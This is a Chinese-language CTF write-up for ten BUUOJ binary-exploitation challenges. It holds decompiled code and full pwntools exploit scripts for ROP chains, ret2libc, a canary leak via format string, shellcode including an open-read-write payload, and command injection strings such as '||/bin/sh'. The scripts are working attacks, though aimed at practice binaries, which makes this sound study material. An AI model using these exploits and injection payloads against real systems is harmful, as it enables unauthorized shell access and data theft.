(31~40)
第三十一题picoctf_2018_rop chain
查看保护和反汇编
checksec
32位,堆栈不可执行
ida
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v4; // [esp+Ch] [ebp-Ch]
setvbuf(_bss_start, 0, 2, 0);
v4 = getegid();
setresgid(v4, v4, v4);
vuln();
return 0;
}
进入vuln函数
char *vuln()
{
char s[24]; // [esp+0h] [ebp-18h] BYREF
printf("Enter your input> ");
return gets(s);
}
列表中有flag函数
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(s, 48, stream);
if ( win1 && win2 && a1 == -559039827 )
return printf("%s", s);
if ( win1 && win2 )
return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
if ( win1 || win2 )
return puts("Nice Try! You're Getting There!");
return puts("You won't get the flag that easy..");
}
可以看出解题思路:令win1win2大于0,a1=-559039827即可
有发现win_function1函数 win_function2函数
void win_function1()
{
win1 = 1;
}
int __cdecl win_function2(int a1)
{
int result; // eax
result = (unsigned __int8)win1;
if ( win1 && a1 == -1163220307 )
{
win2 = 1;
}
else if ( win1 )
{
return puts("Wrong Argument. Try Again.");
}
else
{
return puts("Nope. Try a little bit harder.");
}
return result;
}
所以先调用win_function1,再调用win_function2,最后调用flag
但是直接发送a1超过p32的限制,所以需要转成16进制,ida可以转,
点数字按d就可以将数字转换无符号十六进制,再次点击可转成无符号整数。
比较数据时并不是比较他们的编码方式,而是比较数字的内容,因此即使传进去的a1是无符号十六进制,判断时他们仍相等。
exp
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28560)
flag_addr=0x0804862B
win_function1_addr=0x080485CB
win_function2_addr=0x080485D8
vuln_addr=0x8048714
payload1=b'a'*28+p32(win_function1_addr)+p32(vuln_addr)
io.recvuntil(b'input> ')
io.sendline(payload1)
payload2=b'a'*28+p32(win_function2_addr)+p32(vuln_addr)+p32(0xBAAAAAAD)
io.sendline(payload2)
payload3=b'a'*28+p32(flag_addr)+p32(0)+p32(0xDEADBAAD)
io.sendline(payload3)
io.interactive()
这种写法比较方便理解
当然payload也可以只写一个
payload=b'a'*28+p32(win_function1_addr)+p32(win_function2_addr)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
解释一下:win_function1_addr是调用win_function1函数,后面的win_function2_addr是它的返回地址,执行完win_function1后执行win_function2,flag_addr作为win_function2的返回地址,0xBAAAAAAD是win_function2的参数,0xDEADBAAD是flag的参数
第三十三题ez_pz_hackover_2016
查看保护和反编译
32位,堆栈可以执行,想到了ret2shellcode
ida
mian函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
header();
chall();
return 0;
}
header函数
int header()
{
printf("\n");
printf(" ___ ____\n");
printf(" ___ __| _ \\_ /\n");
printf(" / -_)_ / _// / \n");
printf(" \\___/__|_| /___|\n");
printf(" lemon squeezy\n");
return printf("\n\n");
}
chall函数
void *chall()
{
size_t v0; // eax
void *result; // eax
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", s);
printf("Whats your name?\n");
printf("> ");
fgets(s, 1023, stdin);
v0 = strlen(s);
v3 = memchr(s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", s);
result = (void *)strcmp(s, "crashme");
if ( !result )
return vuln((char)s, 0x400u);
return result;
}
字符串窗口没有有用的。
这个题是ret2shellcode还有点不太理解,比如栈的结构之类
可以看到它的第一个栈很大,输入限制也无法溢出,但是可以通过绕过if判断来复制内容到s,s在ida里看是50,但是gdb调试的时候发现偏移才26字节
所以我们打算写入shellcode,再在vuln函数栈溢出覆盖返回地址到写入的shllcode处
接下来就是计算各种偏移了
gdb调试(应该是我的gdb有点问题,想在脚本里开调试一直不成功,而且手动调试绕过方法也失败)
二次修改后用的是ubuntu16的gdb
测试脚本
from pwn import *
io=process('./ez_pz_hackover_2016')
gdb.attach(io,'b *0x8048600')
io.recvuntil('crash: ')
s_addr=int(io.recvuntil('\n'),16)
print(hex(s_addr))
payload='crashme\x00'+'aaaa'
io.sendline(payload)
pause()
运行后c
查看栈
08:0020│ 0xff7feb00 ◂— 0x72630000//这个是r(0x72)和c(0x63)
09:0024│ 0xff7feb04 ◂— 'ashme'
所以此处是输入开始的地方
算一下它到ebp+4(返回地址)的偏移
看左侧一排
从c开始应该是0x22,到返回地址0x3c,距离应该是0x3c-0x22=0x1a=26
所以偏移应为26
在header函数里有打印s的地址,我们也在脚本中打印了这个地址
计算0xff7feb3c
到我们要执行shllcode的地址也就是返回地址的下面开始的位置
所以payload长这样
shellcode=asm(shellcraft.sh())
payload=payload=(b'crashme'+b'\x00').ljust(26,b'\x00')+p32(shellcode_addr)+shellcode
#(b'crashme'+b'\x00').ljust(26,b'\x00')是绕过判断(strcmp遇到\x00就会停止对比并返回返回值),执行vuln函数
exp
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26313)
#io=process('./ez_pz_hackover_2016')
shellcode=asm(shellcraft.sh())
io.recvuntil(b'Yippie, lets crash: ')
s_addr=int(io.recvuntil('\n')[:-1],16)
shellcode_addr=s_addr-0x1c
payload=(b'crashme'+b'\x00').ljust(26,b'\x00')+p32(shellcode_addr)+shellcode
io.recvuntil(b'> ')
io.sendline(payload)
io.interactive()
第三十四题wustctf2020_getshell
查看保护和反编译
checksec
32位小端,堆栈不可执行
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}
vulnerable函数(可栈溢出)
ssize_t vulnerable()
{
char buf[24]; // [esp+0h] [ebp-18h] BYREF
return read(0, buf, 0x20u);
}
发现shell函数
int shell()
{
return system("/bin/sh");
}
有后门可溢出,这题和第一题第二题一样
exp
from pwn import*
#io=process('./wustctf2020_getshell')
io=remote('node4.buuoj.cn',26799)
shell_addr=0x0804851B
payload=b'a'*0x1c+p32(shell_addr)
io.sendline(payload)
io.interactive()
第三十五题 jarvisoj_level3_x64
查看保护和反汇编
checksec
64位小端,堆栈不可执行
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}
vulnerable_function函数
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
buf128,read能写0x200,可以溢出
没有后门之类,ret2libc
这里没有puts函数,所以用的write函数泄露read地址
我们知道write需要三个参数,所以要找rdi、rsi、rdx的pop指令
但是没有rdx的gadget
经过gdb调试发现(断点打在callread之后level处,即我们将要进行write函数之时)
rdx的值为0x200,足够泄露出来read的地址了(第三个参数代表输出长度)
所以payload1
payload1=b'a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0)+p64(write_plt)+p64(mian_addr)
exp
from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",29278)
context(log_level='debug')
#io = process("./level3_x64")
elf=ELF("./level3_x64")
main_addr=elf.sym['main']
read_got=elf.got['read']
write_plt=elf.plt['write']
pop_rdi_addr=0x4006b3
pop_rsi_r15_addr=0x4006b1
payload1=b'a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.recvuntil(b'Input:\n')
io.sendline(payload1)
#io.recvuntil(b'Input:\n')
read_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x88+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
io.recvuntil(b'Input:\n')
io.sendline(payload2)
io.interactive()
对于接收read地址那里,我见过三种方式了,遇到这种题就挨个试了,谁叫咱菜呢。
第三十六题 bjdctf_2020_babyrop2
查看保护和反汇编
checksec
64位程序,堆栈不可执行,有canary保护
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
gift();
vuln();
return 0;
}
gift函数
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
vuln函数
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
可以发现这个题的canary是v2,而且v2是同一个canary,gift函数里说给我们一个礼物
__isoc99_scanf("%6s", format);//输入6个字节到format里
printf(format);输出format
这里很明显的格式化字符串,但是输入长度受限,只能一次一次试我们输入字符在栈上的偏移。
试了6次,这里不展示其他尝试
可以看到打印出的地址含有a的ASCII码61
接下来gdb调试去看输入的位置距离canary的距离,其实ida上也有,但是保不齐是错的,后面的迁移就是错的
可以看到canary在rbp-0x8处
查看此处地址
还是和以前一样选择在nop处下断点
再去看栈的情况
可以看到canary就在输入的下一处,所以canary的偏移应该是7
所以通过gift函数泄露canary的值
但是让我不理解是要这样接收
其他的接收方式打不通
io.recvuntil(b'0x')
canary=int(u64(io.recv(16),16)
接下来进入vuln函数通过read函数溢出进行ret2libc
再次运行,这次断点打在vuln函数的nop处
查看栈
可以看到,canary到输入处的偏移是0x18,但是ida给的是0x20是错的,细算一下,buf[24]长度也就是0x18字节
通过泄露read的地址来计算libc版本,进行解题
exp
from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",29070)
context(log_level='debug')
#io = process("./bjdctf_2020_babyrop2")
elf=ELF("./bjdctf_2020_babyrop2")
vuln_addr=elf.sym['vuln']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi_addr=0x400993
paylaod1=b'%7$p'
io.recvuntil(b'u!')
io.sendline(paylaod1)
#canary=io.recvuntil(b'\n')[:-1]
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
payload2=b'a'*0x18+p64(canary)+p64(0)
payload2+=p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.recvuntil(b'story!\n')
io.sendline(payload2)
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload3=b'a'*0x18+p64(canary)+p64(0)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
io.recvuntil(b'story!\n')
io.sendline(payload3)
io.interactive()
第三十七题 pwnable_orw
查看保护和反编译
checksec
32位小端,有canary保护(但是没啥用)
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
orw_seccomp函数(从一位师傅的wp得来的,我没找到prctl第二条指令的意思)
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h] BYREF
char *v2; // [esp+8h] [ebp-80h]
char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(v3, &unk_8048640, sizeof(v3));
v1 = 12;
v2 = v3;
prctl(38, 1, 0, 0, 0);//第一个参数为38,第二个参数为2,后面参数是0,禁止了该程序以及子程序调用execve函数
/*
prctl 是一个用于控制进程属性的系统调用,通常用于 Linux 操作系统。它允许进程修改自身或其他进程的属性
例如设置进程名称、设置线程名称、调整资源限制等。
prctl 的全名是 "Process Control",它提供了一种灵活的方式来管理进程和线程的行为
*/
prctl(22, 2, &v1);
// option为22的情况,第二个参数为1,只允许调用read/write/exit/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
return __readgsdword(0x14u) ^ v4;
}
所以这个题就不能用execve了,就是自动生成的 shellcode是打不通的,但是open、read、write函数是可以使用的,就像题目的名字orw。
师傅还有一些东西
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
// 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
// seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
// seccomp_rule_add添加规则
// v1对应上面初始化的返回值
// 0x7fff0000即对应宏SCMP_ACT_ALLOW
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
// 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load - Load the current seccomp filter into the kernel
if ( seccomp_load(v1) < 0 )
{
// seccomp_release - Release the seccomp filter state
// 但对已经load的过滤规则不影响
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
然后这个题就直接写open打开flag文件、read读flag、write写flag到输出
然后是exp
exp
from pwn import *
#context(os='linux',arch='i386',log_level='debug')
#io=process('./orw')
io=remote('node4.buuoj.cn',29964)
'''
这是用shellcarft工具写的
shellcode=shellcraft.open('flag')
shellcode+=shellcraft.read(3,'esp',0x100)#这个把3换成'eax'也可,因为read的系统调用号是3,所一eax会被设置为3(这里传的是参数给ebx)
shellcode+=shellcraft.write(1,'esp',0x100)
payload=asm(shellcode)
'''
'''
#sys_open('flag',0,0)
push 0x0 #字符串截断
push 0x67616c66 #小端序,输入galf
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0x5 #open的系统调用号是5
int 0x80 #中断调用
'''
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80;')
'''
#sys_read(fd,buf,0x30)用到了ebx,ecx,edx
mov eax,3
mov ebx,3 #3是open函数打开其他文件的文件描述符,0 1 2 3 是标准输入,标准输出,出错,其他文件
mov ecx,esp
mov edx,0x100
int 0x80
'''
shellcode+=asm('mov eax,0x3;mov ebx,0x3;mov ecx,esp;mov edx,0x100;int 0x80;')
'''
#sys_write(1,file,0x30)
mov eax,0x4
mov ebx,0x1#ecx的内容不变,所以没写mov ecx,esp
mov edx,0x100
int 0x80
'''
shellcode+=asm('mov eax,0x4;mov ebx,0x1;mov edx,0x100;int 0x80;')
io.recvuntil(b'shellcode:')
io.sendline(shellcode)
io.interactive()
第三十八题 jarvisoj_level4
查看保护以及反编译
checksec
32位小端,堆栈不可执行
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function函数
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
很直白了,ret2libc
exp
from pwn import*
from LibcSearcher import*
#context(os='linux',arch='i386',log_level='dubug')
io=remote('node4.buuoj.cn',28907)
#io=process('./level4')
elf=ELF('./level4')
read_got=elf.got['read']
write_plt=elf.plt['write']
vuln_addr=elf.sym['vulnerable_function']
payload1=b'a'*0x8c+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(read_got)+p32(4)
io.sendline(payload1)
read_addr=u32(io.recv(4))
print(hex(read_addr))
'''
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
system_addr=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
'''
libc=ELF('./libc-2.23.so')
libcbase=read_addr-libc.sym['read']
system_addr=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
paylaod2=b'a'*0x8c+p32(system_addr)+b'aaaa'+p32(binsh)
io.sendline(paylaod2)
io.interactive()
第三十九题mrctf2020_shellcode
查看保护和反汇编
checksec
64位堆栈可执行,pie(地址随机)和全RELRO(got和plt都是只读)
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1036]; // [rsp+0h] [rbp-410h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Show me your magic!");
read(0, buf, 0x400uLL);
return 0;
}
ida无法反编译
提示11dd处 call analysis failed
调用失败呗
咱们去看一下
call rax,call了一个寄存器,怎么想都不太对。
可以把它改成nop就能反编译了
方法之一:右键该处
单击nop就可以将此处修改为nop
改完之后就可以反编译了
跟题目名字一样,shellcode就好,因为没开堆栈的保护
exp
不想开虚拟机了,这个没运行可能有拼写错误
from pwn import*
context(arch='amd64')
io=('xxx',xxx)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
第四十题 bjdctf_2020_router
查看保护和反编译
checksec
64位小端,堆栈不可执行
ida
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-74h] BYREF
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
char dest[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v7; // [rsp+28h] [rbp-58h]
int v8; // [rsp+30h] [rbp-50h]
char v9; // [rsp+34h] [rbp-4Ch]
char v10[56]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v11; // [rsp+78h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
*(_QWORD *)dest = 0x20676E6970LL;
v7 = 0LL;
v8 = 0;
v9 = 0;
v4 = 0;
puts("Welcome to BJDCTF router test program! ");
while ( 1 )
{
menu();
puts("Please input u choose:");
v4 = 0;
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
puts("Please input the ip address:");
read(0, buf, 0x10uLL);
strcat(dest, buf);
system(dest);
puts("done!");
break;
case 2:
puts("bibibibbibibib~~~");
sleep(3u);
puts("ziziizzizi~~~");
sleep(3u);
puts("something wrong!");
puts("Test done!");
break;
case 3:
puts("Please input what u want to say");
puts("Your suggest will help us to do better!");
read(0, v10, 0x3AuLL);
printf("Dear ctfer,your suggest is :%s", v10);
break;
case 4:
puts("Hey guys,u think too much!");
break;
case 5:
puts("Good Bye!");
exit(-1);
default:
puts("Functional development!");
break;
}
}
}
查看字符串窗口发现system函数,跟进后发现在main函数中
阅读并运行代码
在选项4中提示我们想的太复杂了,想到了输入v4的时候scanf没有限制长度,就想着能不能直接覆盖到dest的位置,把他改成/bin/sh来获取shell,但是多次尝试没有成功。
最后不得不去看wp,了解到这个ping方法是根据linux下的命令机制运作的
关于linux下的命令机制:(如果不遇到这个题我都不知道)
其实很简单,就是说命令1和命令2
输入 命令1&&命令2,当命令1正常执行时命令2才会执行
输入 命令1||命令2,命令1失败时才会执行命令2
输入 命令1;命令2,两个命令都执行互相不影响//这里是分号
并且在ping中没有参数得到话会返回错误
所以我们传参数的时候(第一次选1,第二次输入的时)传一个
|| /bin/sh
或
|| cat flag
或
;/bin/sh
或
;cat flag
exp
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',27032)
#io=process('./bjdctf_2020_router')
io.recvuntil(b'choose:\n')
io.sendline(b'1')
io.recvuntil(b'address:')
io.sendline(b'||/bin/sh')
io.interactive()